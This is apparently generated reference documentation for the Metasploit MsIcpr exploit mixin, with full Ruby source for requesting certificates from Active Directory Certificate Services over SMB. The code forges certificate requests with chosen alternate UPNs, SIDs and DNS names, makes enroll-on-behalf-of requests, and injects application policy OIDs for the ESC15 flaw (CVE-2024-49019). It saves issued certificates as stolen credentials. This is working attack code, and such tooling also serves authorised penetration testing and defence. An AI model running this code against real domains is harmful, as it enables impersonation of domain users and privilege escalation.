Module: Msf::Exploit::Remote::MsIcpr

Includes:
DCERPC, SMB::Client::Ipc
Defined in:
lib/msf/core/exploit/remote/ms_icpr.rb

Defined Under Namespace

Classes: MsIcprAuthenticationError, MsIcprAuthorizationError, MsIcprConnectionError, MsIcprError, MsIcprNotFoundError, MsIcprUnexpectedReplyError, MsIcprUnknownError

Constant Summary collapse

OID_NTDS_CA_SECURITY_EXT =
'1.3.6.1.4.1.311.25.2'.freeze
OID_NT_PRINCIPAL_NAME =
'1.3.6.1.4.1.311.20.2.3'.freeze
OID_NTDS_OBJECTSID =
'1.3.6.1.4.1.311.25.2.1'.freeze
OID_ENROLLMENT_NAME_VALUE_PAIR =
'1.3.6.1.4.1.311.13.2.1'.freeze
OID_APPLICATION_CERT_POLICIES =

[[MS-WCCE]: 2.2.2.7.7.3 Encoding a Certificate Application Policy Extension](learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/160b96b1-c431-457a-8eed-27c11873f378)

'1.3.6.1.4.1.311.21.10'.freeze
SAN_URL_PREFIX =
[SAN URL prefix for strong SID mapping for KDCs running Windows Server Preview Build 25246 and later](techcommunity.microsoft.com/blog/askds/preview-of-san-uri-for-certificate-strong-mapping-for-kb5014754/3789785)
"tag:microsoft.com,2022-09-14:sid:"

Constants included from DCERPC

DCERPC::DCERPCClient, DCERPC::DCERPCPacket, DCERPC::DCERPCResponse, DCERPC::DCERPCUUID, DCERPC::NDR

Constants included from DCERPC_LSA

DCERPC_LSA::NDR

Constants included from DCERPC_MGMT

DCERPC_MGMT::NDR

Constants included from SMB::Client

SMB::Client::CONST, SMB::Client::DCERPCClient, SMB::Client::DCERPCPacket, SMB::Client::DCERPCResponse, SMB::Client::DCERPCUUID, SMB::Client::NDR, SMB::Client::SIMPLE, SMB::Client::XCEPT

Instance Attribute Summary

Attributes included from DCERPC

#dcerpc, #handle

Attributes included from Tcp

#sock

Attributes included from SMB::Client

#simple

Class Method Summary collapse

Instance Method Summary collapse

Methods included from DCERPC

#dcerpc_bind, #dcerpc_call, #dcerpc_getarch, #dcerpc_handle, #dcerpc_handle_target, #unicode

Methods included from DCERPC_LSA

#lsa_open_policy

Methods included from DCERPC_MGMT

#dcerpc_mgmt_connect, #dcerpc_mgmt_inq_if_ids, #dcerpc_mgmt_inq_if_stats, #dcerpc_mgmt_inq_princ_name, #dcerpc_mgmt_is_server_listening, #dcerpc_mgmt_stop_server_listening

Methods included from DCERPC_EPM

#dcerpc_endpoint_find_tcp, #dcerpc_endpoint_find_udp, #dcerpc_endpoint_list

Methods included from Tcp

#chost, #cleanup, #connect, #connect_timeout, #cport, #disconnect, #handler, #lhost, #lport, #peer, #print_prefix, #proxies, #replicant, #rhost, #rport, #set_tcp_evasions, #shutdown, #ssl, #ssl_cipher, #ssl_verify_mode, #ssl_version, #sslkeylogfile

Methods included from SMB::Client::Ipc

connect_ipc, disconnect_ipc

Methods included from Auxiliary::Report

#active_db?, #create_cracked_credential, #create_credential, #create_credential_and_login, #create_credential_login, #db, #db_warning_given?, #get_client, #get_host, #inside_workspace_boundary?, #invalidate_login, #mytask, #myworkspace, #myworkspace_id, #report_auth_info, #report_client, #report_exploit, #report_host, #report_loot, #report_note, #report_service, #report_vuln, #report_web_form, #report_web_page, #report_web_site, #report_web_vuln, #store_cred, #store_local, #store_loot

Methods included from Metasploit::Framework::Require

optionally, optionally_active_record_railtie, optionally_include_metasploit_credential_creation, #optionally_include_metasploit_credential_creation, optionally_require_metasploit_db_gem_engines

Methods included from Kerberos::ServiceAuthenticator::Options

#kerberos_auth_options, #kerberos_clock_skew_seconds

Methods included from Kerberos::Ticket::Storage

#kerberos_storage_options, #kerberos_ticket_storage, store_ccache

Methods included from SMB::Client

#connect, #domain, #domain_username_split, #smb_create, #smb_direct, #smb_enumprinters, #smb_enumprintproviders, #smb_file_exist?, #smb_file_rm, #smb_fingerprint, #smb_fingerprint_windows_lang, #smb_fingerprint_windows_sp, #smb_hostname, #smb_lanman_netshareenumall, #smb_login, #smb_lookup_share_type, #smb_netshareenumall, #smb_netsharegetinfo, #smb_open, #smb_peer_lm, #smb_peer_os, #smb_srvsvc_netshareenumall, #smb_srvsvc_netsharegetinfo, #smbhost, #splitname, #unicode

Class Method Details

.build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algorithm: 'SHA256', application_policies: []) ⇒ OpenSSL::X509::Request

Make a certificate signing request.

Parameters:

  • cn (String)

    The common name for the certificate.

  • private_key (OpenSSL::PKey)

    The private key for the certificate.

  • dns (String) (defaults to: nil)

    An alternative DNS name to use.

  • msext_sid (String) (defaults to: nil)

    An explicit SID to specify for strong identity mapping.

  • msext_upn (String) (defaults to: nil)

    An alternative User Principal Name (this is a Microsoft-specific feature).

  • algorithm (String) (defaults to: 'SHA256')

    The algorithm to use when signing the CSR.

  • application_policies (Array<String>) (defaults to: [])

    OIDs to add as application policies.

Returns:

  • (OpenSSL::X509::Request)

    The request object.



314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 314

def build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algorithm: 'SHA256', application_policies: [])
  Rex::Proto::X509::Request.create_csr(private_key, cn, algorithm) do |request|
    extensions = []

    subject_alt_names = []
    subject_alt_names << "otherName = #{OID_NT_PRINCIPAL_NAME};UTF8:#{msext_upn}" if msext_upn

    if msext_sid
      subject_alt_names << "URI = #{SAN_URL_PREFIX}#{msext_sid}"
      subject_alt_names << "URI = #{msext_sid}"
    end

    subject_alt_names << "DNS = #{dns}" if dns
    
    unless subject_alt_names.empty?
      # factory.create_extension accepts a comma separated list of SANs or a config file of SANs.
      # SAN_URL_PREFIX in the URI SAN contains a comma so we create a config file and add it to the factory
      # The config file requires an identifier we define at the top of the file [alt_names]
      subject_alt_names.prepend("[alt_names]")
      subject_alt_names_conf = subject_alt_names.join("\n")
      config = OpenSSL::Config.parse(subject_alt_names_conf)
      factory = OpenSSL::X509::ExtensionFactory.new
      factory.config = config
      extensions << factory.create_extension('subjectAltName', '@alt_names', false)
    end

    if msext_sid
      ntds_ca_security_ext = Rex::Proto::CryptoAsn1::NtdsCaSecurityExt.new(OtherName: {
        type_id: OID_NTDS_OBJECTSID,
        value: msext_sid
      })
      extensions << OpenSSL::X509::Extension.new(OID_NTDS_CA_SECURITY_EXT, ntds_ca_security_ext.to_der, false)
    end

    unless application_policies.blank?
      application_cert_policies = Rex::Proto::CryptoAsn1::X509::CertificatePolicies.new(
        certificatePolicies: application_policies.map { |policy_oid| Rex::Proto::CryptoAsn1::X509::PolicyInformation.new(policyIdentifier: policy_oid) }
      )
      extensions << OpenSSL::X509::Extension.new(OID_APPLICATION_CERT_POLICIES, application_cert_policies.to_der, false)
    end

    unless extensions.empty?
      request.add_attribute(OpenSSL::X509::Attribute.new(
        'extReq',
        OpenSSL::ASN1::Set.new(
          [OpenSSL::ASN1::Sequence.new(extensions)]
        )
      ))
    end
  end
end

.build_on_behalf_of(csr:, on_behalf_of:, cert:, key:, algorithm: 'SHA256') ⇒ Rex::Proto::CryptoAsn1::Cms::ContentInfo

Make a certificate request on behalf of another user.

Parameters:

  • csr (OpenSSL::X509::Request)

    The certificate request to make on behalf of the user.

  • on_behalf_of (String)

    The user to make the request on behalf of.

  • cert (OpenSSL::X509::Certificate)

    The public key to use for signing the request.

  • key (OpenSSL::PKey::RSA)

    The private key to use for signing the request.

  • algorithm (String) (defaults to: 'SHA256')

    The digest algorithm to use.

Returns:



374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 374

def build_on_behalf_of(csr:, on_behalf_of:, cert:, key:, algorithm: 'SHA256')
  # algorithm needs to be one that OpenSSL supports, but we also need the OID constants defined
  digest = OpenSSL::Digest.new(algorithm)
  unless [ digest.name, "RSAWith#{digest.name}" ].all? { |s| Rex::Proto::Kerberos::Model::OID.constants.include?(s.to_sym) }
    raise ArgumentError, "Can not map digest algorithm #{digest.name} to the necessary OIDs."
  end

  digest_oid = Rex::Proto::Kerberos::Model::OID.const_get(digest.name)

  signer_info = Rex::Proto::CryptoAsn1::Cms::SignerInfo.new(
    version: 1,
    sid: {
      issuer: cert.issuer,
      serial_number: cert.serial.to_i
    },
    digest_algorithm: {
      algorithm: digest_oid
    },
    signed_attrs: [
      {
        attribute_type: OID_ENROLLMENT_NAME_VALUE_PAIR,
        attribute_values: [
          RASN1::Types::Any.new(value: Rex::Proto::CryptoAsn1::EnrollmentNameValuePair.new(
            name: 'requestername',
            value: on_behalf_of
          ))
        ]
      },
      {
        attribute_type: Rex::Proto::Kerberos::Model::OID::MessageDigest,
        attribute_values: [RASN1::Types::Any.new(value: RASN1::Types::OctetString.new(value: digest.digest(csr.to_der)))]
      }
    ],
    signature_algorithm: {
      algorithm: Rex::Proto::Kerberos::Model::OID.const_get("RSAWith#{digest.name}")
    }
  )
  data = RASN1::Types::Set.new(value: signer_info[:signed_attrs].value).to_der
  signature = key.sign(digest, data)

  signer_info[:signature] = signature

  signed_data = Rex::Proto::CryptoAsn1::Cms::SignedData.new(
    version: 3,
    digest_algorithms: [
      {
        algorithm: digest_oid
      }
    ],
    encap_content_info: {
      econtent_type: Rex::Proto::Kerberos::Model::OID::PkinitAuthData,
      econtent: csr.to_der
    },
    certificates: [{ openssl_certificate: cert }],
    signer_infos: [signer_info]
  )

  Rex::Proto::CryptoAsn1::Cms::ContentInfo.new(
    content_type: Rex::Proto::Kerberos::Model::OID::SignedData,
    data: signed_data
  )
end

.connect_icpr(tree) ⇒ Object



121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 121

def connect_icpr(tree)
  vprint_status('Connecting to ICertPassage (ICPR) Remote Protocol')
  icpr = tree.open_file(filename: 'cert', write: true, read: true)

  vprint_status('Binding to \\cert...')
  icpr.bind(
    endpoint: RubySMB::Dcerpc::Icpr,
    auth_level: RubySMB::Dcerpc::RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
    auth_type: RubySMB::Dcerpc::RPC_C_AUTHN_WINNT
  )
  vprint_good('Bound to \\cert')

  report_service(
    name: 'ICertPassage',
    resource: { dcerpc: { pipe: 'cert' } },
    host: tree.client.dispatcher.tcp_socket.peerhost,
    port: tree.client.dispatcher.tcp_socket.peerport,
    proto: 'tcp',
    parents: {
        name: 'dcerpc',
        info: "Module: #{fullname}",
        host: tree.client.dispatcher.tcp_socket.peerhost,
        port: tree.client.dispatcher.tcp_socket.peerport,
        proto: 'tcp',
        resource: { smb: { share: 'IPC$' } }
      }
    )

  icpr
end

.do_request_cert(icpr, opts) ⇒ Object



152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 152

def do_request_cert(icpr, opts)
  rsa_key_size = (opts[:rsa_key_size] || datastore['RSAKeySize']).to_i
  private_key = OpenSSL::PKey::RSA.new(rsa_key_size)
  vprint_status("RSA key size: #{rsa_key_size}")
  user = opts[:username] || datastore['SMBUser']
  status_msg = "Requesting a certificate for user #{user}"
  alt_dns = opts[:alt_dns] || (datastore['ALT_DNS'].blank? ? nil : datastore['ALT_DNS'])
  alt_sid = opts[:alt_sid] || (datastore['ALT_SID'].blank? ? nil : datastore['ALT_SID'])
  alt_upn = opts[:alt_upn] || (datastore['ALT_UPN'].blank? ? nil : datastore['ALT_UPN'])
  algorithm = opts[:algorithm] || datastore['DigestAlgorithm']
  application_policies = opts[:add_cert_app_policy] || (datastore['ADD_CERT_APP_POLICY'].blank? ? nil : datastore['ADD_CERT_APP_POLICY'].split(/[;,]\s*|\s+/))
  status_msg << " - alternate DNS: #{alt_dns}" if alt_dns
  status_msg << " - alternate UPN: #{alt_upn}" if alt_upn
  status_msg << " - digest algorithm: #{algorithm}" if algorithm
  csr = build_csr(
    cn: user,
    private_key: private_key,
    dns: alt_dns,
    msext_sid: alt_sid,
    msext_upn: alt_upn,
    algorithm: algorithm,
    application_policies: application_policies
  )

  on_behalf_of = opts[:on_behalf_of] || (datastore['ON_BEHALF_OF'].blank? ? nil : datastore['ON_BEHALF_OF'])
  status_msg << " - on behalf of: #{on_behalf_of}" if on_behalf_of
  if @pkcs12 && on_behalf_of
    vprint_status("Building certificate request on behalf of #{on_behalf_of}")
    csr = build_on_behalf_of(
      csr: csr,
      on_behalf_of: on_behalf_of,
      cert: @pkcs12.certificate,
      key: @pkcs12.key,
      algorithm: algorithm
    )
  end

  cert_template = opts[:cert_template] || datastore['CERT_TEMPLATE']
  status_msg << " - template: #{cert_template}"
  attributes = { 'CertificateTemplate' => cert_template }
  san = []
  san << "dns=#{alt_dns}" if alt_dns
  san << "upn=#{alt_upn}" if alt_upn

  if alt_sid
    san << "url=#{SAN_URL_PREFIX}#{alt_sid}"
    san << "url=#{alt_sid}"
  end

  attributes['SAN'] = san.join('&') unless san.empty?

  vprint_status(status_msg)
  response = icpr.cert_server_request(
    attributes: attributes,
    authority: datastore['CA'],
    csr: csr
  )
  case response[:status]
  when :issued
    print_good('The requested certificate was issued.')
  when :submitted
    print_warning('The requested certificate was submitted for review.')
  else
    print_error('There was an error while requesting the certificate.')
    print_error(response[:disposition_message].strip.to_s) unless response[:disposition_message].blank?
    hresult = ::WindowsError::HResult.find_by_retval(response[:disposition]).first

    if hresult
      print_error('Error details:')
      print_error("  Source:  #{hresult.facility}") if hresult.facility
      print_error("  HRESULT: #{hresult}")
    end

    case hresult
    when ::WindowsError::HResult::CERTSRV_E_ENROLL_DENIED
      raise MsIcprAuthorizationError.new(hresult.description)
    when ::WindowsError::HResult::CERTSRV_E_TEMPLATE_DENIED
      raise MsIcprAuthorizationError.new(hresult.description)
    when ::WindowsError::HResult::CERTSRV_E_UNSUPPORTED_CERT_TYPE
      raise MsIcprNotFoundError.new(hresult.description)
    else
      raise MsIcprUnknownError.new(hresult.description)
    end
  end

  return unless response[:certificate]

  policy_oids = get_cert_policy_oids(response[:certificate])
  if application_policies.present? && !(application_policies - policy_oids.map(&:value)).empty?
    print_error('Certificate application policy OIDs were submitted, but some are missing in the response. This indicates the target has received the patch for ESC15 (CVE-2024-49019) or the template is not vulnerable.')
    return
  end

  if policy_oids
    print_status('Certificate Policies:')
    policy_oids.each do |oid|
      print_status("  * #{oid.value}" + (oid.label.present? ? " (#{oid.label})" : ''))
    end
  end

  unless (dns = get_cert_san_dns(response[:certificate])).empty?
    print_status("Certificate DNS: #{dns.join(', ')}")
  end

  unless (email = get_cert_san_email(response[:certificate])).empty?
    print_status("Certificate Email: #{email.join(', ')}")
  end

  if (sid = get_cert_msext_sid(response[:certificate]))
    print_status("Certificate SID: #{sid}")
  end

  unless (upn = get_cert_msext_upn(response[:certificate])).empty?
    print_status("Certificate UPN: #{upn.join(', ')}")
  end

  unless (uri = get_cert_san_uri(response[:certificate])).empty?
    print_status("Certificate URI: #{uri.join(', ')}")
  end

  pkcs12 = OpenSSL::PKCS12.create('', '', private_key, response[:certificate])
  # see: https://pki-tutorial.readthedocs.io/en/latest/mime.html#mime-types
  info = "#{simple.client.default_domain}\\#{datastore['SMBUser']} Certificate"
  # TODO: I was under the impression a single certificate can only have one UPN associated with it.
  #       But here, `upn` can be an array of UPN's. This will need to be sorted out.
  upn_username, upn_domain = upn&.first&.split('@')

  service_data = icpr_service_data
  credential_data = {
    **service_data,
    address: service_data[:host],
    port: rport,
    protocol: service_data[:proto],
    service_name: service_data[:name],
    workspace_id: myworkspace_id,
    username: upn_username || datastore['SMBUser'],
    private_type: :pkcs12,
    private_data: Base64.strict_encode64(pkcs12.to_der),
    private_metadata: { adcs_ca: datastore['CA'], adcs_template: cert_template },
    realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
    realm_value: upn_domain || simple.client.default_domain,
    origin_type: :service,
    module_fullname: fullname
  }
  create_credential(credential_data)

  stored_path = store_loot('windows.ad.cs', 'application/x-pkcs12', rhost, pkcs12.to_der, 'certificate.pfx', info)
  print_status("Certificate stored at: #{stored_path}")

  pkcs12
end

.get_cert_msext_sid(cert) ⇒ String?

Get the object security identifier (SID) from the certificate. This is a Microsoft specific extension.

Parameters:

  • cert (OpenSSL::X509::Certificate)

Returns:

  • (String, nil)

    The SID if it was found, otherwise nil.



482
483
484
485
486
487
488
489
490
# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 482

def get_cert_msext_sid(cert)
  ext = cert.extensions.find { |e| e.oid == OID_NTDS_CA_SECURITY_EXT }
  return unless ext

  ntds_ca_security_ext = Rex::Proto::CryptoAsn1::NtdsCaSecurityExt.parse(ext.value_der)
  return unless ntds_ca_security_ext[:OtherName][:type_id].value == OID_NTDS_OBJECTSID

  ntds_ca_security_ext[:OtherName][:value].value
end

.get_cert_msext_upn(cert) ⇒ Array<String>

Get the User Principal Name (UPN) from the certificate. This is a Microsoft specific extension.

Parameters:

  • cert (OpenSSL::X509::Certificate)

Returns:

  • (Array<String>)

    The UPNs if any were found.



496
497
498
499
500
501
502
503
504
# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 496

def get_cert_msext_upn(cert)
  return [] unless (san = get_cert_san(cert))

  san[:GeneralNames].value.select do |gn|
    gn[:otherName][:type_id]&.value == OID_NT_PRINCIPAL_NAME
  end.map do |gn|
    RASN1::Types::Utf8String.parse(gn[:otherName][:value].value, explicit: 0, constructed: true).value
  end
end

.get_cert_policy_oids(cert) ⇒ Array<Rex::Proto::CryptoAsn1::ObjectId>

Get the certificate policy OIDs from the certificate.

Parameters:

  • cert (OpenSSL::X509::Certificate)

Returns:



441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 441

def get_cert_policy_oids(cert)
  all_oids = []

  # ms-app-policies (CertificatePolicies) - existing handling
  if (ext = cert.extensions.find { |e| e.oid == 'ms-app-policies' })
    begin
      cert_policies = Rex::Proto::CryptoAsn1::X509::CertificatePolicies.parse(ext.value_der)
      cert_policies.value.each do |policy_info|
        oid_string = policy_info[:policyIdentifier].value
        all_oids << (Rex::Proto::CryptoAsn1::OIDs.value(oid_string) || Rex::Proto::CryptoAsn1::ObjectId.new(oid_string))
      end
    rescue StandardError => e
      vprint_error("Failed to parse ms-app-policies from certificate with subject:\"#{cert.subject.to_s}\" and issuer:\"#{cert.issuer.to_s}\". #{e.class}: #{e.message}")
    end
  end

  # extendedKeyUsage - SEQUENCE OF OBJECT IDENTIFIER
  if (eku_ext = cert.extensions.find { |e| e.oid == 'extendedKeyUsage' })
    begin
      asn1 = OpenSSL::ASN1.decode(eku_ext.value_der)
      # asn1 should be a Sequence whose children are OBJECT IDENTIFIER nodes
      if asn1.is_a?(OpenSSL::ASN1::Sequence)
        asn1.value.each do |node|
          next unless node.is_a?(OpenSSL::ASN1::ObjectId)
          oid_string = node.value
          all_oids << (Rex::Proto::CryptoAsn1::OIDs.value(oid_string) || Rex::Proto::CryptoAsn1::ObjectId.new(oid_string))
        end
      end
    rescue StandardError => e
      vprint_error("Failed to parse extendedKeyUsage from certificate with subject:\"#{cert.subject.to_s}\" and issuer:\"#{cert.issuer.to_s}\". #{e.class}: #{e.message}")
    end
  end

  all_oids
end

.get_cert_san(cert) ⇒ Rex::Proto::CryptoAsn1::X509::SubjectAltName

Get the SubjectAltName (SAN) field from the certificate.

Parameters:

  • cert (OpenSSL::X509::Certificate)

Returns:



510
511
512
513
514
515
# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 510

def get_cert_san(cert)
  ext = cert.extensions.find { |e| e.oid == 'subjectAltName' }
  return unless ext

  Rex::Proto::CryptoAsn1::X509::SubjectAltName.parse(ext.value_der)
end

.get_cert_san_dns(cert) ⇒ Array<String>

Get the DNS hostnames from the certificate.

Parameters:

  • cert (OpenSSL::X509::Certificate)

Returns:

  • (Array<String>)

    The DNS names if any were found.



521
522
523
524
525
526
527
528
529
# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 521

def get_cert_san_dns(cert)
  return [] unless (san = get_cert_san(cert))

  san[:GeneralNames].value.select do |gn|
    gn[:dNSName].value?
  end.map do |gn|
    gn[:dNSName].value
  end
end

.get_cert_san_email(cert) ⇒ Array<String>

Get the E-mail addresses from the certificate.

Parameters:

  • cert (OpenSSL::X509::Certificate)

Returns:

  • (Array<String>)

    The E-mail addresses if any were found.



535
536
537
538
539
540
541
542
543
# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 535

def get_cert_san_email(cert)
  return [] unless (san = get_cert_san(cert))

  san[:GeneralNames].value.select do |gn|
    gn[:rfc822Name].value?
  end.map do |gn|
    gn[:rfc822Name].value
  end
end

.get_cert_san_uri(cert) ⇒ Array<String>

Get the URI/URL from the certificate.

Parameters:

  • cert (OpenSSL::X509::Certificate)

Returns:

  • (Array<String>)

    The URIs/URLs if any were found.



549
550
551
552
553
554
555
556
557
# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 549

def get_cert_san_uri(cert)
  return [] unless (san = get_cert_san(cert))

  san[:GeneralNames].value.select do |gn|
    gn[:uniformResourceIdentifier].value?
  end.map do |gn|
    gn[:uniformResourceIdentifier].value
  end
end

.icpr_service_dataObject



559
560
561
562
563
564
565
566
567
568
# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 559

def icpr_service_data
  {
    host: rhost,
    port: rport,
    host_name: simple.client.default_name,
    proto: 'tcp',
    name: 'smb',
    info: "Module: #{fullname}, last negotiated version: SMBv#{simple.client.negotiated_smb_version} (dialect = #{simple.client.dialect})"
  }
end

Instance Method Details

#initialize(info = {}) ⇒ Object



41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 41

def initialize(info = {})
  super

  register_options([
    OptString.new('CA', [ true, 'The target certificate authority' ]),
    OptString.new('CERT_TEMPLATE', [ true, 'The certificate template', 'User' ]),
    OptString.new('ALT_DNS', [ false, 'Alternative certificate DNS' ]),
    OptString.new('ALT_SID', [ false, 'Alternative object SID' ]),
    OptString.new('ALT_UPN', [ false, 'Alternative certificate UPN (format: USER@DOMAIN)' ]),
    OptString.new('ADD_CERT_APP_POLICY', [ false, 'Add certificate application policy OIDs' ], regex: /^\d+(\.\d+)+(([;,]\s*|\s+)\d+(\.\d+)+)*$/),
    OptPath.new('PFX', [ false, 'Certificate to request on behalf of' ]),
    OptString.new('ON_BEHALF_OF', [ false, 'Username to request on behalf of (format: DOMAIN\\USER)' ]),
    Opt::RPORT(445)
  ], Msf::Exploit::Remote::MsIcpr)

  register_advanced_options([
    OptEnum.new('DigestAlgorithm', [ true, 'The digest algorithm to use', 'SHA256', %w[SHA1 SHA256] ]),
    OptEnum.new('RSAKeySize', [ true, 'RSA key size in bits for CSR generation', '2048', %w[1024 2048 3072 4096 8192] ])
  ])
end

#request_certificate(opts = {}) ⇒ Object



91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 91

def request_certificate(opts = {})
  tree = opts[:tree] || connect_ipc

  begin
    icpr = connect_icpr(tree)
  rescue RubySMB::Error::UnexpectedStatusCode => e
    if e.status_code == ::WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND
      # STATUS_OBJECT_NAME_NOT_FOUND will be the status if Active Directory Certificate Service (AD CS) is not installed on the target
      raise MsIcprNotFoundError, 'Connection failed (AD CS was not found).'
    end

    elog(e.message, error: e)
    raise MsIcprUnexpectedReplyError, "Connection failed (unexpected status: #{e.status_name})"
  end

  do_request_cert(icpr, opts)

rescue RubySMB::Dcerpc::Error::FaultError => e
  elog(e.message, error: e)
  raise MsIcprUnexpectedReplyError, "Operation failed (DCERPC fault: #{e.status_name})"
rescue RubySMB::Dcerpc::Error::DcerpcError => e
  elog(e.message, error: e)
  raise MsIcprUnexpectedReplyError, e.message
rescue RubySMB::Error::RubySMBError
  elog(e.message, error: e)
  raise MsIcprUnknownError, e.message
end

#setupObject



62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
# File 'lib/msf/core/exploit/remote/ms_icpr.rb', line 62

def setup
  errors = {}
  if datastore['ALT_SID'].present? && datastore['ALT_SID'] !~ /^S(-\d+)+$/
    errors['ALT_SID'] = 'Must be a valid SID.'
  end

  if datastore['ALT_UPN'].present? && datastore['ALT_UPN'] !~ /^\S+@[^\s\\]+$/
    errors['ALT_UPN'] = 'Must be in the format USER@DOMAIN.'
  end

  if datastore['ON_BEHALF_OF'].present?
    errors['ON_BEHALF_OF'] = 'Must be in the format DOMAIN\\USER.' unless datastore['ON_BEHALF_OF'] =~ /^[^\s@]+\\\S+$/
    errors['PFX'] = 'A PFX file is required when ON_BEHALF_OF is specified.' if datastore['PFX'].blank?
  end

  @pkcs12 = nil
  if datastore['PFX'].present?
    begin
      @pkcs12 = OpenSSL::PKCS12.new(File.binread(datastore['PFX']))
    rescue StandardError => e
      errors['PFX'] = "Failed to load the PFX file (#{e})"
    end
  end

  raise OptionValidateError, errors unless errors.empty?

  super
end